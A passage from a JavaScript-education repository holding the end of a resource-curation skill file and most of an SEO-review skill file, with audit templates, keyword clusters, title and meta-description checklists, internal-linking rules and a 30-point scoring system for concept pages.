3. **Check for generic phrases** — "comprehensive guide", etc.
4. **Identify improvements** — How can it be more specific?
### Step 4: Gap Analysis
After auditing all resources:
1. **Count by section** — Do we meet targets?
2. **Check diversity** — Beginner AND advanced? Visual AND text?
3. **Identify missing types** — No MDN? No videos?
4. **Note recommendations** — What should we add?
---
## Resource Section Templates
### Reference Section
```markdown
## Reference
Official MDN documentation covering [specific aspects].
The authoritative reference for [what it's best for].
[What this reference covers].
Essential reading for understanding [specific aspect].
```
### Articles Section
```markdown
## Articles
[What makes it unique/what it covers].
[Why read this one/who it's for].
[Specific coverage].
[Value proposition].
[Unique angle].
[Why it's worth reading].
[What it covers].
[Best for whom].
```
### Videos Section
```markdown
## Videos
[What it covers/unique approach].
[Why watch/who it's for].
[Specific focus].
[What makes it stand out].
[Coverage].
[Value].
```
### Books Section (Optional)
```markdown
[What the book covers and its approach].
[Who should read it and what they'll gain].
```
### Courses Section (Optional)
```markdown
[What the course covers].
[Format and who it's best for].
```
---
## Resource Audit Report Template
Use this template to document audit findings.
```markdown
# Resource Audit Report: [Concept Name]
**File:** `/docs/concepts/[slug].mdx`
**Date:** YYYY-MM-DD
**Auditor:** [Name/Claude]
---
## Summary
| Metric | Count |
|--------|-------|
| Total Resources | XX |
| Working Links (200) | XX |
| Broken Links (404) | XX |
| Redirects (301/302) | XX |
| Outdated Content | XX |
| Generic Descriptions | XX |
## Resource Count vs Targets
| Section | Current | Target | Status |
|---------|---------|--------|--------|
| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ |
| Articles | X | 4-6 | ✅/⚠️/❌ |
| Videos | X | 3-4 | ✅/⚠️/❌ |
| Courses | X | 0-3 | ✅/⚠️/❌ |
---
## Broken Links (Remove or Replace)
| Resource | Line | URL | Status | Action |
|----------|------|-----|--------|--------|
| [Title] | XX | [URL] | 404 | Remove |
| [Title] | XX | [URL] | 404 | Replace with [alternative] |
---
## Redirects (Update URLs)
| Resource | Line | Old URL | New URL |
|----------|------|---------|---------|
| [Title] | XX | [old] | [new] |
---
## Outdated Resources (Consider Replacing)
| Resource | Line | Issue | Recommendation |
|----------|------|-------|----------------|
| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] |
| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace |
---
## Description Improvements Needed
| Resource | Line | Current | Suggested |
|----------|------|---------|-----------|
| [Title] | XX | "A guide to closures" | "[Specific description with value prop]" |
| [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." |
---
## Missing Resources (Recommendations)
| Type | Gap | Suggested Resource | URL |
|------|-----|-------------------|-----|
| Reference | No main MDN link | [Topic] — MDN | [URL] |
| Article | No beginner guide | [Title] — javascript.info | [URL] |
| Video | No visual explanation | [Title] — [Creator] | [URL] |
| Article | No advanced deep-dive | [Title] — 2ality | [URL] |
---
## Non-JavaScript Resources (Remove)
| Resource | Line | Issue |
|----------|------|-------|
| [Title] | XX | Primarily about C#, not JavaScript |
---
## Action Items
### High Priority (Do First)
1. **Remove broken link:** [Title] (line XX)
2. **Add missing MDN reference:** [Topic]
3. **Replace outdated resource:** [Title] with [alternative]
### Medium Priority
1. **Update redirect URL:** [Title] (line XX)
2. **Improve description:** [Title] (line XX)
3. **Add beginner-friendly article**
### Low Priority
1. **Add additional video resource**
2. **Consider adding course section**
---
## Verification Checklist
After making changes:
- [ ] All broken links removed or replaced
- [ ] All redirect URLs updated
- [ ] Outdated resources replaced
- [ ] Generic descriptions rewritten
- [ ] Missing resource types added
- [ ] Resource counts meet targets
- [ ] All new links verified working
- [ ] All descriptions are specific and valuable
```
---
## Quick Reference
### Icon Reference
| Content Type | Icon Value |
|--------------|------------|
| MDN/Official docs | `book` |
| Articles/Blog posts | `newspaper` |
| Videos | `video` |
| Courses | `graduation-cap` |
| Books | `book` |
| Related concepts | Context-appropriate |
### Character Guidelines
| Element | Guideline |
|---------|-----------|
| Card title | Keep concise, include creator for videos |
| Description sentence 1 | What it covers / what's unique |
| Description sentence 2 | Why read/watch / who it's for |
### Resource Ordering
Within each section, order resources:
1. **Most foundational/beginner-friendly first**
2. **Official references before community content**
3. **Most highly recommended prominently placed**
4. **Advanced/niche content last**
---
## Quality Checklist
### Link Verification
- [ ] All links return 200 (not 404, 301)
- [ ] No redirect chains
- [ ] No hard paywalls without notice
- [ ] All URLs are HTTPS where available
### Content Quality
- [ ] All resources are JavaScript-focused
- [ ] No resources teaching anti-patterns
- [ ] Publication dates appropriate for topic
- [ ] Mix of beginner and advanced content
- [ ] Visual and text resources included
### Description Quality
- [ ] All descriptions are specific (not generic)
- [ ] Descriptions explain unique value
- [ ] No "comprehensive guide to..." phrases
- [ ] Each description is 2 sentences
- [ ] Descriptions match actual content
### Completeness
- [ ] 2-4 MDN/official references
- [ ] 4-6 quality articles
- [ ] 3-4 quality videos
- [ ] Resources ordered logically
- [ ] Diversity in teaching styles
---
## Summary
When curating resources for a concept page:
1. **Audit first** — Check all existing links and content
2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos)
3. **Find quality resources** — Search trusted sources
4. **Write specific descriptions** — What's unique + why read/watch
5. **Format correctly** — Proper Card syntax, icons, ordering
6. **Document changes** — Use the audit report template
**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones.
================================================
FILE: .claude/skills/seo-review/SKILL.md
================================================
---
name: seo-review
description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential
---
# Skill: SEO Audit for Concept Pages
Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers.
## When to Use
- Before publishing a new concept page
- When optimizing underperforming pages
- Periodic content audits
- After major content updates
- When targeting new keywords
## Goal
Each concept page should rank for searches like:
- "what is [concept] in JavaScript"
- "how does [concept] work in JavaScript"
- "[concept] JavaScript explained"
- "[concept] JavaScript tutorial"
- "[concept] JavaScript example"
---
## SEO Audit Methodology
Follow these five steps for a complete SEO audit.
### Step 1: Identify Target Keywords
Before auditing, identify the keyword cluster for the concept.
#### Keyword Cluster Template
| Type | Pattern | Example (Closures) |
|------|---------|-------------------|
| **Primary** | [concept] JavaScript | closures JavaScript |
| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript |
| **How does** | how does [concept] work | how do closures work |
| **How to** | how to use/create [concept] | how to use closures |
| **Why** | why use [concept] | why use closures JavaScript |
| **Examples** | [concept] examples | closure examples JavaScript |
| **vs** | [concept] vs [related] | closures vs scope |
| **Interview** | [concept] interview questions | closure interview questions |
### Step 2: On-Page SEO Audit
Check all on-page SEO elements systematically.
### Step 3: Featured Snippet Optimization
Verify content is structured to win featured snippets.
### Step 4: Internal Linking Audit
Check the internal link structure.
### Step 5: Generate Report
Document findings using the report template.
---
## Keyword Clusters by Concept
Use these pre-built keyword clusters for each concept.
| Type | Keywords |
|------|----------|
| Primary | JavaScript call stack, call stack JavaScript |
| What is | what is the call stack in JavaScript |
| How does | how does the call stack work |
| Error | maximum call stack size exceeded, stack overflow JavaScript |
| Visual | call stack visualization, call stack explained |
| Interview | call stack interview questions JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript primitive types, primitives in JavaScript |
| What are | what are primitive types in JavaScript |
| List | JavaScript data types, types in JavaScript |
| vs | primitives vs objects JavaScript |
| typeof | typeof JavaScript, JavaScript typeof operator |
| Interview | JavaScript types interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript value vs reference, pass by reference JavaScript |
| What is | what is pass by value in JavaScript |
| How does | how does JavaScript pass objects |
| Comparison | value types vs reference types JavaScript |
| Copy | how to copy objects JavaScript, deep copy JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript type coercion, type conversion JavaScript |
| What is | what is type coercion in JavaScript |
| How does | how does type coercion work |
| Implicit | implicit type conversion JavaScript |
| Explicit | explicit type conversion JavaScript |
| Interview | type coercion interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript equality, == vs === JavaScript |
| What is | what is the difference between == and === |
| Comparison | loose equality vs strict equality JavaScript |
| Best practice | when to use == vs === |
| Interview | JavaScript equality interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript closures, JavaScript scope |
| What is | what is a closure in JavaScript, what is scope |
| How does | how do closures work, how does scope work |
| Types | types of scope JavaScript, lexical scope |
| Use cases | closure use cases, why use closures |
| Interview | closure interview questions JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript event loop, event loop JavaScript |
| What is | what is the event loop in JavaScript |
| How does | how does the event loop work |
| Visual | event loop visualization, event loop explained |
| Related | call stack event loop, task queue JavaScript |
| Interview | event loop interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript Promises, Promises in JavaScript |
| What is | what is a Promise in JavaScript |
| How to | how to use Promises, how to chain Promises |
| Methods | Promise.all, Promise.race, Promise.allSettled |
| Error | Promise error handling, Promise catch |
| vs | Promises vs callbacks, Promises vs async await |
| Type | Keywords |
|------|----------|
| Primary | JavaScript async await, async await JavaScript |
| What is | what is async await in JavaScript |
| How to | how to use async await, async await tutorial |
| Error | async await error handling, try catch async |
| vs | async await vs Promises |
| Interview | async await interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript this keyword, this in JavaScript |
| What is | what is this in JavaScript |
| How does | how does this work in JavaScript |
| Binding | call apply bind JavaScript, this binding |
| Arrow | this in arrow functions |
| Interview | this keyword interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript prototype, prototype chain JavaScript |
| What is | what is a prototype in JavaScript |
| How does | how does prototype inheritance work |
| Chain | prototype chain explained |
| vs | prototype vs class JavaScript |
| Interview | prototype interview questions JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript DOM, DOM manipulation JavaScript |
| What is | what is the DOM in JavaScript |
| How to | how to manipulate DOM JavaScript |
| Methods | getElementById, querySelector JavaScript |
| Events | DOM events JavaScript, event listeners |
| Performance | DOM performance, virtual DOM vs DOM |
| Type | Keywords |
|------|----------|
| Primary | JavaScript higher order functions, higher order functions |
| What are | what are higher order functions |
| Examples | map filter reduce JavaScript |
| How to | how to use higher order functions |
| Interview | higher order functions interview |
| Type | Keywords |
|------|----------|
| Primary | JavaScript recursion, recursion in JavaScript |
| What is | what is recursion in JavaScript |
| How to | how to write recursive functions |
| Examples | recursion examples JavaScript |
| vs | recursion vs iteration JavaScript |
| Interview | recursion interview questions |
---
## Audit Checklists
### Title Tag Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter |
| 2 | Primary keyword in first half | 1 | Concept name appears early |
| 3 | Ends with "in JavaScript" | 1 | Check title ending |
| 4 | Contains compelling hook | 1 | Promises value/benefit to reader |
**Scoring:**
- 4/4: ✅ Excellent
- 3/4: ⚠️ Good, minor improvements possible
- 0-2/4: ❌ Needs significant work
**Title Formula:**
```
[Concept]: [What You'll Understand] in JavaScript
```
**Good Examples:**
| Concept | Title (with character count) |
|---------|------------------------------|
| Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
| Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) |
| Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) |
| DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) |
**Bad Examples:**
| Issue | Bad Title | Better Title |
|-------|-----------|--------------|
| Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
| Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
| No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
| Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end |
---
### Meta Description Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter |
| 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") |
| 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present |
| 4 | Promises specific value | 1 | Lists what reader will learn |
**Description Formula:**
```
[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
```
**Good Examples:**
| Concept | Description |
|---------|-------------|
| Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) |
| Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) |
| DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) |
**Bad Examples:**
| Issue | Bad Description | Fix |
|-------|-----------------|-----|
| Too short | "Learn about closures" | Expand to 150-160 chars with specifics |
| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
| Too vague | "A guide to closures" | List specific topics covered |
| Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" |
---
### Keyword Placement Checklist (5 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Primary keyword in title | 1 | Check frontmatter `title` |
| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` |
| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs |
| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings |
| 5 | No keyword stuffing | 1 | Content reads naturally |
**Keyword Placement Map:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ KEYWORD PLACEMENT │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 🔴 CRITICAL (Must have keyword) │
│ ───────────────────────────────── │
│ • title frontmatter │
│ • description frontmatter │
│ • First paragraph (within 100 words) │
│ • At least one H2 heading │
│ │
│ 🟡 RECOMMENDED (Include naturally) │
│ ────────────────────────────────── │
│ • "What you'll learn" Info box │
│ • H3 subheadings │
│ • Key Takeaways section │
│ • First sentence after major H2s │
│ │
│ ⚠️ AVOID │
│ ───────── │
│ • Same phrase >4 times per 1000 words │
│ • Forcing keywords where pronouns work better │
│ • Awkward sentence structures to fit keywords │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
### Content Structure Checklist (6 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Opens with question hook | 1 | First paragraph asks engaging question |
| 2 | Code example in first 200 words | 1 | Simple example appears early |
| 3 | "What you'll learn" Info box | 1 | `` component after opening |
| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks |
| 5 | 1,500+ words | 1 | Word count check |
| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` |
**Content Structure Template:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ IDEAL PAGE STRUCTURE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. QUESTION HOOK (First 50 words) │
│ "How does JavaScript...? Why do...?" │
│ │
│ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │
│ Quick explanation + simple code demo │
│ │
│ 3. "WHAT YOU'LL LEARN" INFO BOX │
│ 5-7 bullet points │
│ │
│ 4. PREREQUISITES WARNING (if applicable) │
│ Link to required prior concepts │
│ │
│ 5. MAIN CONTENT SECTIONS (H2s) │
│ Each H2 answers a question or teaches a concept │
│ Include code examples, diagrams, tables │
│ │
│ 6. COMMON MISTAKES / GOTCHAS SECTION │
│ What trips people up │
│ │
│ 7. KEY TAKEAWAYS │
│ 8-10 numbered points summarizing everything │
│ │
│ 8. TEST YOUR KNOWLEDGE │
│ 5-6 Q&A accordions │
│ │
│ 9. RELATED CONCEPTS │
│ 4 cards linking to related topics │
│ │
│ 10. RESOURCES (Reference, Articles, Videos) │
│ MDN links, curated articles, videos │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
### Featured Snippet Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 |
| 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s |
| 3 | Numbered steps for "How to" content | 1 | Uses `` component or numbered list |
| 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content |
**Featured Snippet Patterns:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ FEATURED SNIPPET FORMATS │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ QUERY TYPE WINNING FORMAT YOUR CONTENT │
│ ─────────── ────────────── ──────────── │
│ │
│ "What is X" Paragraph 40-60 word definition │
│ after H2, bold keyword │
│ │
│ "How to X" Numbered list component or │
│ 1. 2. 3. markdown │
│ │
│ "X vs Y" Table | Feature | X | Y | │
│ comparison table │
│ │
│ "Types of X" Bullet list - **Type 1** — desc │
│ - **Type 2** — desc │
│ │
│ "[X] examples" Code block ```javascript │
│ + explanation // example code │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**Definition Paragraph Example (40-60 words):**
```markdown
## What is a Closure in JavaScript?
A **closure** is a function that retains access to variables from its outer
(enclosing) scope, even after that outer function has finished executing.
Closures are created every time a function is created in JavaScript, allowing
inner functions to "remember" and access their lexical environment.
```
(This is 52 words - perfect for a featured snippet)
---
### Internal Linking Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose |
| 2 | Descriptive anchor text | 1 | No "click here", "here", "this" |
| 3 | Prerequisites in Warning box | 1 | `` with links at start |
| 4 | Related Concepts section has 4 cards | 1 | `` at end with 4 Cards |
**Good Anchor Text:**
| ❌ Bad | ✓ Good |
|--------|--------|
| "click here" | "event loop concept" |
| "here" | "JavaScript closures" |
| "this article" | "our Promises guide" |
| "read more" | "understanding the call stack" |
**Link Placement Strategy:**
```markdown
**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises)
and the [Event Loop](/concepts/event-loop). Read those first if needed.
When the callback finishes, it's added to the task queue — managed by
the [event loop](/concepts/event-loop).
async/await is built on top of Promises
```
---
### Technical SEO Checklist (3 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Single H1 per page | 1 | Only one `#` heading (the title) |
| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` |
| 3 | No orphan pages | 1 | Page is linked from at least one other page |
**H1 Rule:**
Every page should have exactly ONE H1 (your main title). This is critical for SEO:
- The H1 tells Google what the page is about
- Multiple H1s confuse search engines about page hierarchy
- All other headings should be H2 (`##`) and below
- The H1 should contain your primary keyword
```markdown
# Closures in JavaScript ← This is your H1 (only one!)
## What is a Closure? ← H2 for sections
### Lexical Scope ← H3 for subsections
## How Closures Work ← Another H2
```
**URL/Slug Best Practices:**
| ✅ Good | ❌ Bad |
|---------|--------|
| `/concepts/closures` | `/concepts/c1` |
| `/concepts/event-loop` | `/concepts/topic-7` |
| `/concepts/type-coercion` | `/concepts/abc123` |
| `/concepts/async-await` | `/concepts/async_await` |
Rules for slugs:
- **Include primary keyword** — The concept name should be in the URL
- **Use hyphens, not underscores** — `event-loop` not `event_loop`
- **Keep slugs short and readable** — Under 50 characters
- **No UUIDs, database IDs, or random strings**
- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop`
**Orphan Page Detection:**
An orphan page has no internal links pointing to it from other pages. This hurts SEO because:
- Google may not discover or crawl it frequently
- It signals the page isn't important to your site structure
- Users can't navigate to it naturally
- Link equity doesn't flow to the page
**How to check for orphan pages:**
1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/`
2. Verify it appears in at least one other concept's "Related Concepts" section
3. Check that pages listing it as a prerequisite link back appropriately
4. Ensure it's included in the navigation (`docs.json`)
**Fixing orphan pages:**
- Add the concept to related pages' "Related Concepts" CardGroup
- Link to it naturally in body content of related concepts
- Ensure bidirectional linking (if A links to B, B should link back to A where relevant)
---
## Scoring System
### Total Points Available: 30
| Category | Max Points |
|----------|------------|
| Title Tag | 4 |
| Meta Description | 4 |
| Keyword Placement | 5 |
| Content Structure | 6 |
| Featured Snippets | 4 |
| Internal Linking | 4 |
| Technical SEO | 3 |
| **Total** | **30** |
### Score Interpretation
| Score | Percentage | Status | Action |
|-------|------------|--------|--------|
| 27-30 | 90-100% | ✅ Excellent | Ready to publish |
| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed |
| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed |
| 0-16 | <55% | ❌ Poor | Significant work required |
---
## Common SEO Issues and Fixes
### Title Tag Issues
| Issue | Current | Fix |
|-------|---------|-----|
| Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
| Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
| Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" |
| No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" |
| Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" |
### Meta Description Issues
| Issue | Current | Fix |
|-------|---------|-----|
| Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars |
| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information |
| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
| No keyword | "Functions that remember" | Include "closures" and "JavaScript" |
| Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" |
### Content Structure Issues
| Issue | Fix |
|-------|-----|
| No question hook | Start with "How does...?" or "Why...?" |
| Code example too late | Move simple example to first 200 words |
| Missing Info box | Add `` with "What you'll learn" |
| Long paragraphs | Break into 2-4 sentence chunks |
| Under 1,500 words | Add more depth, examples, edge cases |
| No bolded terms | Bold key concepts on first mention |
### Featured Snippet Issues
| Issue | Fix |
|-------|-----|
| No "What is" definition | Add 40-60 word definition paragraph |
| Definition too long | Tighten to 40-60 words |
| No question H2s | Add "What is X?" or "How does X work?" H2 |
| Steps not numbered | Use `` or numbered markdown |
| No comparison tables | Add table for "X vs Y" sections |
### Internal Linking Issues
| Issue | Fix |
|-------|-----|
| No internal links | Add 3-5 links to related concepts |
| Bad anchor text | Replace "click here" with descriptive text |
| No prerequisites | Add `` with prerequisite links |
| Empty Related Concepts | Add 4 Cards linking to related topics |
### Technical SEO Issues
| Issue | Fix |
|-------|-----|
| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections |
| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) |
| Orphan page | Add links from related concept pages' body or Related Concepts section |
| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` |
| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` |
| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` |
---
## SEO Audit Report Template
Use this template to document your findings.
```markdown
# SEO Audit Report: [Concept Name]
**File:** `/docs/concepts/[slug].mdx`
**Date:** YYYY-MM-DD
**Auditor:** [Name/Claude]
**Overall Score:** XX/30 (XX%)
**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor
---
## Score Summary
| Category | Score | Status |
|----------|-------|--------|
| Title Tag | X/4 | ✅/⚠️/❌ |
| Meta Description | X/4 | ✅/⚠️/❌ |
| Keyword Placement | X/5 | ✅/⚠️/❌ |
| Content Structure | X/6 | ✅/⚠️/❌ |
| Featured Snippets | X/4 | ✅/⚠️/❌ |
| Internal Linking | X/4 | ✅/⚠️/❌ |
| Technical SEO | X/3 | ✅/⚠️/❌ |
| **Total** | **X/30** | **STATUS** |
---
## Target Keywords
**Primary Keyword:** [e.g., "JavaScript closures"]
**Secondary Keywords:**
- [keyword 1]
- [keyword 2]
- [keyword 3]
**Search Intent:** Informational / How-to / Comparison
---
## Title Tag Analysis
**Current Title:** "[current title from frontmatter]"
**Character Count:** XX characters
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| Length 50-60 chars | ✅/❌ | XX characters |
| Primary keyword in first half | ✅/❌ | [notes] |
| Ends with "in JavaScript" | ✅/❌ | [notes] |
| Contains compelling hook | ✅/❌ | [notes] |
**Issues Found:** [if any]
**Recommended Title:** "[suggested title]" (XX chars)
---
## Meta Description Analysis
**Current Description:** "[current description from frontmatter]"
**Character Count:** XX characters
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| Length 150-160 chars | ✅/❌ | XX characters |
| Starts with action word | ✅/❌ | Starts with "[word]" |
| Contains primary keyword | ✅/❌ | [notes] |
| Promises specific value | ✅/❌ | [notes] |
**Issues Found:** [if any]
**Recommended Description:** "[suggested description]" (XX chars)
---
## Keyword Placement Analysis
**Score:** X/5
| Location | Present | Notes |
|----------|---------|-------|
| Title | ✅/❌ | [notes] |
| Meta description | ✅/❌ | [notes] |
| First 100 words | ✅/❌ | Found at word XX |
| H2 heading | ✅/❌ | Found in: "[H2 text]" |
| Natural reading | ✅/❌ | [no stuffing / stuffing detected] |
**Missing Keyword Placements:**
- [ ] [Location where keyword should be added]
---
## Content Structure Analysis
**Word Count:** X,XXX words
**Score:** X/6
| Check | Status | Notes |
|-------|--------|-------|
| Question hook opening | ✅/❌ | [notes] |
| Code in first 200 words | ✅/❌ | Code appears at word XX |
| "What you'll learn" box | ✅/❌ | [present/missing] |
| Short paragraphs | ✅/❌ | [notes on paragraph length] |
| 1,500+ words | ✅/❌ | X,XXX words |
| Bolded key terms | ✅/❌ | [notes] |
**Structure Issues:**
- [ ] [Issue and recommendation]
---
## Featured Snippet Analysis
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| 40-60 word definition | ✅/❌ | Currently XX words |
| Question-format H2 | ✅/❌ | Found: "[H2]" / Not found |
| Numbered steps | ✅/❌ | [notes] |
| Comparison tables | ✅/❌/N/A | [notes] |
**Snippet Opportunities:**
1. **"What is [concept]" snippet:**
- Current definition: XX words
- Action: [Expand to/Trim to] 40-60 words
2. **"How to [action]" snippet:**
- Action: [Add Steps component / Already present]
---
## Internal Linking Analysis
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| 3-5 internal links in body | ✅/❌ | Found X links |
| Descriptive anchor text | ✅/❌ | [notes] |
| Prerequisites in Warning | ✅/❌ | [present/missing] |
| Related Concepts section | ✅/❌ | X cards present |
**Current Internal Links:**
1. [Anchor text] → `/concepts/[slug]`
2. [Anchor text] → `/concepts/[slug]`
**Recommended Links to Add:**
- Link to [concept] in [section/context]
- Link to [concept] in [section/context]
**Bad Anchor Text Found:**
- Line XX: "click here" → change to "[descriptive text]"
---
## Technical SEO Analysis
**Score:** X/3
| Check | Status | Notes |
|-------|--------|-------|
| Single H1 per page | ✅/❌ | [Found X H1 tags] |
| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` |
| Not an orphan page | ✅/❌ | Linked from X other pages |
**H1 Tags Found:**
- Line XX: `# [H1 text]` ← Should be the only one
- [List any additional H1s that need to be changed to H2]
**Slug Analysis:**
- Current slug: `[slug].mdx`
- Contains keyword: ✅/❌
- Format correct: ✅/❌ (lowercase, hyphens, no special chars)
**Incoming Links Found:**
1. `/concepts/[other-concept]` → Links to this page in [section]
2. `/concepts/[other-concept]` → Links in Related Concepts
**If orphan page, add links from:**
- [Suggested concept page] in [section]
- [Suggested concept page] in Related Concepts
---
## Priority Fixes
### High Priority (Do First)
1. **[Issue]**
- Current: [what it is now]
- Recommended: [what it should be]
- Impact: [why this matters]
2. **[Issue]**
- Current: [what it is now]
- Recommended: [what it should be]
- Impact: [why this matters]
### Medium Priority
1. **[Issue]**
- Recommendation: [fix]
### Low Priority (Nice to Have)
1. **[Issue]**
- Recommendation: [fix]
---
## Competitive Analysis (Optional)
**Top-Ranking Pages for "[primary keyword]":**
1. **[Competitor 1 - URL]**
- What they do well: [observation]
- Word count: ~X,XXX
2. **[Competitor 2 - URL]**
- What they do well: [observation]
- Word count: ~X,XXX
**Our Advantages:**
- [What we do better]
**Gaps to Fill:**
- [What we're missing that competitors have]
---
## Implementation Checklist
After making fixes, verify:
- [ ] Title is 50-60 characters with keyword and hook
- [ ] Description is 150-160 characters with action word and value
- [ ] Primary keyword in title, description, first 100 words, and H2
- [ ] Opens with question hook
- [ ] Code example in first 200 words
- [ ] "What you'll learn" Info box present
- [ ] Paragraphs are 2-4 sentences
- [ ] 1,500+ words total
- [ ] Key terms bolded on first mention
- [ ] 40-60 word definition for featured snippet
- [ ] At least one question-format H2
- [ ] 3-5 internal links with descriptive anchor text
- [ ] Prerequisites in Warning box (if applicable)
- [ ] Related Concepts section has 4 cards
- [ ] Single H1 per page (title only)
- [ ] URL slug contains primary keyword
- [ ] Page linked from at least one other concept page
- [ ] All fixes implemented and verified
---
## Final Recommendation
**Ready to Publish:** ✅ Yes / ❌ No - [reason]
**Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"]
```
---
## Quick Reference
### Character Counts
| Element | Ideal Length |
|---------|--------------|
| Title | 50-60 characters |
| Meta Description | 150-160 characters |
| Definition paragraph | 40-60 words |
### Keyword Density
- Don't exceed 3-4 mentions of exact phrase per 1,000 words
- Use variations naturally (e.g., "closures", "closure", "JavaScript closures")
### Content Length
| Length | Assessment |
|--------|------------|
| <1,000 words | Too thin - add depth |
| 1,000-1,500 | Minimum viable |
| 1,500-2,500 | Good |
| 2,500-4,000 | Excellent |
| >4,000 | Consider splitting |
---
## Summary
When auditing a concept page for SEO:
1. **Identify target keywords** using the keyword cluster for that concept
2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript"
3. **Check meta description** — 150-160 chars, action word, keyword, specific value
4. **Verify keyword placement** — Title, description, first 100 words, H2
